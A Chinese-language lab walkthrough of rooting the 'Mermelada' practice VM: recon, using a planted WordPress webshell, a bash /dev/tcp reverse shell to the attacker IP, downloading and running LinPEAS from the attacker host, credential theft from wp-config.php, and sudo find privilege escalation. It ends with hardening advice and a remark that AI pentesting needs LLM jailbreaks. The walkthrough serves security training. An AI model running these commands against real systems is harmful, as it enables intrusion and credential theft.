信息收集

主机发现
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:07:c6, IPv4: 192.168.43.57
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.43.1 56:dc:a2:f3:f1:64 (Unknown: locally administered)
192.168.43.73 2c:9c:58:8e:96:a5 (Unknown)
192.168.43.165 08:00:27:9a:2c:28 PCS Systemtechnik GmbH
靶机 IP:192.168.43.165
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sC -sV 192.168.43.165
Starting Nmap 7.98 ( https://nmap.org )
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Mermelada
3306/tcp open mysql MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
MAC Address: 08:00:27:9A:2C:28 (Oracle VirtualBox)
Web 枚举
浏览器访问 http://192.168.43.165,首页是个果酱主题的静态页面,JS 无有效交互。
HTML 源码精简分析:
<form action="mermelada.php" method="GET">
<input type="text" name="zona" placeholder="Introduce tu zona...">
<button type="submit">Enviar</button>
</form>
输入 aa 提交,URL 变为 http://192.168.43.165/mermelada.php?zona=aa,页面返回一个包含用户输入值的静态响应。初步怀疑存在 LFI 或 SQL 注入,但未直接回显有效结果。
目录爆破
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.165 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt \
--status-codes-blacklist 404
/uploads (Status: 301)
/wordpress (Status: 301)
/mermelada.php (Status: 200)
发现 /wordpress 是 WordPress 站点,且 /uploads/ 目录包含敏感文件。
访问 http://192.168.43.165/uploads/compra.txt:
[+] Mermelada de fresa
[+] Mermelada de frambuesa
[+] Mermelada de mora
[+] Mermelada de dW4gcGlxdWl0bz8K
[+] Mermelada de albaricoque
[+] Mermelada de mango
其中第三条 dW4gcGlxdWl0bz8K 解码:
┌──(root㉿kali)-[~]
└─# echo "dW4gcGlxdWl0bz8K" | base64 -d
un piquito?
注:原文中 base64 末尾多一个
~,实际解码时需去掉。
这是西班牙语「一小口?」的意思,属于干扰信息,无利用价值。
WordPress 专项扫描
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.43.165/wordpress -e u,vp,vt,ap,at
___________________________________________________________
[+] URL: http://192.168.43.165/wordpress/ [192.168.43.165]
[+] Started: Fri Jun 19 14:48:54 2026
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.65 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled:
http://192.168.43.165/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress readme found:
http://192.168.43.165/wordpress/readme.html
[+] Upload directory has listing enabled:
http://192.168.43.165/wordpress/wp-content/uploads/
[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02).
[+] Enumerating Users
| User(s) Identified:
[+] mermeladita
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[i] No plugins Found.
[i] No themes Found.
域名解析修复
点击站内文章时跳转至 http://mermelada.thl,需将该域名加入本地 DNS 解析:
echo "192.168.43.165 mermelada.thl" >> /etc/hosts
关键发现:Webshell
Uploads 目录 http://192.168.43.165/wordpress/wp-content/uploads/2026/01/ 中存在一个可疑 PHP 文件:
macoduweklgkmvp-1767607866.7342.php
直接访问返回空白,说明此文件为一句话木马,但参数未知。
漏洞利用
ffuf 参数爆破
用 ffuf 对该文件进行参数名 Fuzzing:
┌──(root㉿kali)-[~]
└─# ffuf -u "http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?FUZZ=id" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-t 50 -fs 12
| 参数 | 状态码 | 响应长度 | 说明 |
|------|--------|----------|------|
| cmd | 200 | 变化值 | ✅ 命中,可执行命令 |
| 其余 | 200 | 12 | 基线长度,无效参数 |
确认 cmd 参数可用:
http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
反弹 Shell
攻击机监听:
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
反弹 Payload — Bash TCP Reverse Shell:
原始命令:
bash -c 'bash -i >& /dev/tcp/192.168.43.57/4444 0>&1'
URL 编码(浏览器直接访问触发):
http://192.168.43.165/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.57%2F4444%200%3E%261%27
Shell 连接成功,获得 www-data 权限。
后渗透 & 横向移动
TTY 升级
反弹 Shell 不具备完整终端能力(无法 Tab 补全、Ctrl+C 会断开、无法 sudo/su)。
方案一:rlwrap(推荐,如果已安装)
# Kali 端重新监听
rlwrap nc -lvnp 4444
方案二:script 命令(不依赖 stty,通用性最强)
script /dev/null -c /bin/bash
一行即完成 TTY 升级,无需按 Ctrl+Z。
方案三:传统 Python3 + stty 方法
# 目标机
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
[Ctrl+Z] # 回到 Kali
# Kali 本机执行(先在本机终端查 stty size 获取真实 rows/columns)
stty raw -echo; fg
[Enter]
# 目标机
reset
export SHELL=bash
stty rows 43 columns 155
信息收集 — LinPEAS
上传并运行 LinPEAS 进行自动化提权信息收集:
# Kali 端(192.168.43.57)
cd /usr/share/peass/linpeas/
python3 -m http.server 8000
# 目标机(www-data)
cd /tmp
wget http://192.168.43.57:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out

关键发现:wp-config.php
LinPEAS 输出显示 /var/www/html/wordpress/ 目录下存在权限异常的配置文件:
╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 root root 3098 Jun 12 17:02 /var/www/html/wordpress/wp-config.php
直接读取 WordPress 配置文件:
www-data@debian:~$ cat /var/www/html/wordpress/wp-config.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'mermelada' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '12345' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
MySQL 凭据提取 — 横向至 mermeladita
凭据 root:12345,连接本地 MySQL:
www-data@debian:~$ mysql -u root -p12345
SSH 登录:
┌──(root㉿kali)-[~]
└─# ssh mermeladita@192.168.43.165
权限提升
sudo -l 发现
mermeladita@debian:~$ sudo -l
User mermeladita may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/find
GTFOBins — find 提权
find 的 -exec 参数可在找到的文件上执行任意命令,结合 sudo 以 root 身份运行:
mermeladita@debian:~$ sudo find . -exec /bin/bash -p \; -quit
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:~# whoami
root
参数解析:
| 标记 | 含义 |
|---|---|
sudo find . | 以 root 身份在当前目录开始查找 |
-exec /bin/bash -p | 对找到的文件执行特权模式 bash |
-p | bash 的 privileged mode,防止 bash 主动丢弃 euid |
\; | find 的 -exec 参数结束符(\ 在 shell 中转义 ;) |
-quit | 执行一次后立即退出 find |
-p 的作用: 当使用者通过 sudo 启动 bash 时,bash 检测到有效 UID ≠ 真实 UID,默认会主动丢弃 root 权限,将 euid 重置为真实 UID。-p 告诉 bash:不丢特权,保持 root。
Flag 获取
root@debian:~# cat /root/root.txt

攻击链总结
1. 主机发现 (arp-scan)
↓
2. 端口扫描 (nmap) → 22/SSH, 80/HTTP, 3306/MySQL
↓
3. Web 枚举
├── gobuster → /wordpress, /uploads
├── compra.txt → base64 干扰信息
└── Uploads 目录浏览 → 发现一句话木马 PHP
↓
4. ffuf 参数爆破 → cmd 参数可用
↓
5. Bash TCP Reverse Shell → www-data
↓
6. 后渗透
├── LinPEAS 自动化收集
├── wp-config.php → DB 凭据 root:12345
└── MySQL → wp_users hash → hashcat 破解 → mermeladita 密码
↓
7. SSH 登录 mermeladita
↓
8. sudo find → GTFOBins 提权 → root
工具清单
敌情侦察: arp-scan, nmap
目录爆破: gobuster
Webshell 参数盲测: ffuf
WordPress 扫描: wpscan
反弹 Shell: bash TCP reverse shell
后渗透收集: LinPEAS
Hash 破解: hashcat (mode 400) / john
提权: GTFOBins (find + sudo)
安全建议
- 移除或加固 Uploads 目录下的 Webshell,排查初始植入点
- WordPress 建议升级至最新版,或至少禁用 XML-RPC(
/xmlrpc.php) - MySQL root 密码
12345极度弱口令,应立即更换 sudo findNOPASSWD 权限应回收或改用 ACL 限制- 限制 WordPress uploads 目录的 PHP 执行权限
写在后面
一开始让 AI 自动跑,很大概率会卡在漏洞扫描、参数枚举、目录爆破等等位置,特别是 wordpress 部分。并且由于 wpscan、ssh、linpeas 等工具、环境的限制,操作起来非常吃力。
而且 Webshell 的发现依赖浏览器视觉交互 + 目录索引浏览,这是纯文本 AI 的感知边界。一旦 Webshell 被人类找到并喂给 AI,后续攻击链(参数爆破 → 反弹 Shell → 凭据提取 → 提权)就会变得简单一点。
skills 负责流程与知识编排,mcp 负责提供工具与执行能力;然后还需要比较稳定的大模型越狱能力。
AI 自动渗透测试能力还有待提高。